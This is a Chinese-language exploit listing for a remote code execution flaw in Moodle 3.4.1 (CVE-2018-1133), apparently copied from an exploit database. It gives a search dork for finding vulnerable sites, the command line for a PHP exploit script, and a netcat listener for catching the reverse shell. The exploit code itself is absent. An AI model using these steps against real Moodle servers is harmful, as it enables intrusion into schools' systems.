Moodle 漏洞利用

• 漏洞利用标题: Moodle v3.4.1 RCE 漏洞利用
• Google Dork: inurl:"/course/jumpto.php?jump="
• 日期: 2019年3月15日
• 漏洞利用作者: Darryn Ten
• 厂商主页: https://moodle.org
• 软件链接: https://github.com/moodle/moodle/archive/v3.4.1.zip
• 版本: 3.4.1 (可能小于3.5.0，甚至可能是3.x)
• 测试环境: Linux 上的 Moodle v3.4.1
• CVE : CVE-2018-1133

拥有教师角色的用户能够执行任意代码。

使用方法

php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1

user       The account username
pass       The password to the account
ip         Callback IP
port       Callback Port
course     Valid course ID belonging to the teacher

确保在运行此脚本之前，在指定端口上启动 netcat 监听器。

nc -lnvp 1010

这将尝试向监听 IP 和端口打开一个反向 shell。

备注

此漏洞利用基于 Robin Peraglie 提供的信息。

附加阅读: https://blog.ripstech.com/2018/moodle-remote-code-execution